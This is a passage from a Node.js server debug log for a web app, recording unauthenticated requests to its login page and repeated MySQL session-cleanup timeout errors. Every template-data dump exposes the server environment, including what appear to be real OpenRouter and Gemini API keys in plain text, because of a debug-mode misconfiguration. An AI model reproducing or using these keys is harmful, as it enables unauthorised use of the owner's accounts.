      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '35.190.217.95',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '35.190.217.95',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-08T12:37:37.336Z server-connect:router Serving templateView /
2026-04-08T12:37:37.338Z server-connect:app Executing action step identify
2026-04-08T12:37:37.338Z server-connect:app options: { provider: 'security' }
2026-04-08T12:37:37.338Z server-connect:auth No login cookie found
2026-04-08T12:37:37.338Z server-connect:output identity: false
2026-04-08T12:37:37.338Z server-connect:app Executing action step restrict
2026-04-08T12:37:37.338Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-08T12:37:37.338Z server-connect:output restrict: undefined
2026-04-08T12:37:37.397Z server-connect:router Serving templateView /login
2026-04-08T12:37:37.397Z server-connect:app Executing action step identify
2026-04-08T12:37:37.397Z server-connect:app options: { provider: 'security' }
2026-04-08T12:37:37.397Z server-connect:auth No login cookie found
2026-04-08T12:37:37.397Z server-connect:output identity: false
2026-04-08T12:37:37.397Z server-connect:router Render template layouts/authentication
2026-04-08T12:37:37.397Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '104.155.5.116',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-09T12:37:37.396Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '104.155.5.116',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '104.155.5.116',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-08T13:09:05.009Z server-connect:router Serving templateView /
2026-04-08T13:09:05.009Z server-connect:app Executing action step identify
2026-04-08T13:09:05.009Z server-connect:app options: { provider: 'security' }
2026-04-08T13:09:05.009Z server-connect:auth No login cookie found
2026-04-08T13:09:05.009Z server-connect:output identity: false
2026-04-08T13:09:05.009Z server-connect:app Executing action step restrict
2026-04-08T13:09:05.009Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-08T13:09:05.010Z server-connect:output restrict: undefined
2026-04-08T13:09:05.151Z server-connect:router Serving templateView /login
2026-04-08T13:09:05.152Z server-connect:app Executing action step identify
2026-04-08T13:09:05.152Z server-connect:app options: { provider: 'security' }
2026-04-08T13:09:05.152Z server-connect:auth No login cookie found
2026-04-08T13:09:05.152Z server-connect:output identity: false
2026-04-08T13:09:05.152Z server-connect:router Render template layouts/authentication
2026-04-08T13:09:05.153Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '34.60.244.232',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-09T13:09:05.151Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.60.244.232',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '34.60.244.232',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-08 13:15:12' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-08 13:15:12' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-08 15:20:12' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-08 15:20:12' as DATETIME)"
}
2026-04-08T15:29:56.555Z server-connect:router Serving templateView /
2026-04-08T15:29:56.555Z server-connect:app Executing action step identify
2026-04-08T15:29:56.555Z server-connect:app options: { provider: 'security' }
2026-04-08T15:29:56.555Z server-connect:auth No login cookie found
2026-04-08T15:29:56.555Z server-connect:output identity: false
2026-04-08T15:29:56.555Z server-connect:app Executing action step restrict
2026-04-08T15:29:56.555Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-08T15:29:56.556Z server-connect:output restrict: undefined
2026-04-08T15:29:56.688Z server-connect:router Serving templateView /login
2026-04-08T15:29:56.689Z server-connect:app Executing action step identify
2026-04-08T15:29:56.689Z server-connect:app options: { provider: 'security' }
2026-04-08T15:29:56.689Z server-connect:auth No login cookie found
2026-04-08T15:29:56.689Z server-connect:output identity: false
2026-04-08T15:29:56.689Z server-connect:router Render template layouts/authentication
2026-04-08T15:29:56.689Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '34.135.148.106',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-09T15:29:56.688Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.135.148.106',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '34.135.148.106',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-08T15:32:05.858Z server-connect:router Serving templateView /
2026-04-08T15:32:05.858Z server-connect:app Executing action step identify
2026-04-08T15:32:05.858Z server-connect:app options: { provider: 'security' }
2026-04-08T15:32:05.859Z server-connect:auth No login cookie found
2026-04-08T15:32:05.859Z server-connect:output identity: false
2026-04-08T15:32:05.859Z server-connect:app Executing action step restrict
2026-04-08T15:32:05.859Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-08T15:32:05.859Z server-connect:output restrict: undefined
2026-04-08T15:32:05.990Z server-connect:router Serving templateView /login
2026-04-08T15:32:05.991Z server-connect:app Executing action step identify
2026-04-08T15:32:05.991Z server-connect:app options: { provider: 'security' }
2026-04-08T15:32:05.991Z server-connect:auth No login cookie found
2026-04-08T15:32:05.991Z server-connect:output identity: false
2026-04-08T15:32:05.991Z server-connect:router Render template layouts/authentication
2026-04-08T15:32:05.991Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '34.70.140.52',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-09T15:32:05.990Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.70.140.52',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '34.70.140.52',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-08T15:59:20.133Z server-connect:router Serving templateView /
2026-04-08T15:59:20.134Z server-connect:app Executing action step identify
2026-04-08T15:59:20.134Z server-connect:app options: { provider: 'security' }
2026-04-08T15:59:20.134Z server-connect:auth No login cookie found
2026-04-08T15:59:20.134Z server-connect:output identity: false
2026-04-08T15:59:20.134Z server-connect:app Executing action step restrict
2026-04-08T15:59:20.134Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-08T15:59:20.135Z server-connect:output restrict: undefined
2026-04-08T15:59:20.276Z server-connect:router Serving templateView /login
2026-04-08T15:59:20.276Z server-connect:app Executing action step identify
2026-04-08T15:59:20.276Z server-connect:app options: { provider: 'security' }
2026-04-08T15:59:20.276Z server-connect:auth No login cookie found
2026-04-08T15:59:20.277Z server-connect:output identity: false
2026-04-08T15:59:20.277Z server-connect:router Render template layouts/authentication
2026-04-08T15:59:20.277Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1664.3 Safari/537.36',
    'accept-encoding': 'gzip',
    accept: '*/*',
    connection: 'keep-alive',
    'x-forwarded-for': '34.28.183.82',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-09T15:59:20.276Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.28.183.82',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1664.3 Safari/537.36',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: '*/*',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-FOR': '34.28.183.82',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-08 19:19:12' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-08 19:19:12' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-08 20:12:13' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-08 20:12:13' as DATETIME)"
}
2026-04-08T20:34:54.982Z server-connect:router Serving templateView /
2026-04-08T20:34:54.984Z server-connect:app Executing action step identify
2026-04-08T20:34:54.984Z server-connect:app options: { provider: 'security' }
2026-04-08T20:34:54.984Z server-connect:auth No login cookie found
2026-04-08T20:34:54.984Z server-connect:output identity: false
2026-04-08T20:34:54.984Z server-connect:app Executing action step restrict
2026-04-08T20:34:54.984Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-08T20:34:54.986Z server-connect:output restrict: undefined
2026-04-08T20:34:55.484Z server-connect:router Serving templateView /login
2026-04-08T20:34:55.484Z server-connect:app Executing action step identify
2026-04-08T20:34:55.484Z server-connect:app options: { provider: 'security' }
2026-04-08T20:34:55.484Z server-connect:auth No login cookie found
2026-04-08T20:34:55.484Z server-connect:output identity: false
2026-04-08T20:34:55.485Z server-connect:router Render template layouts/authentication
2026-04-08T20:34:55.485Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
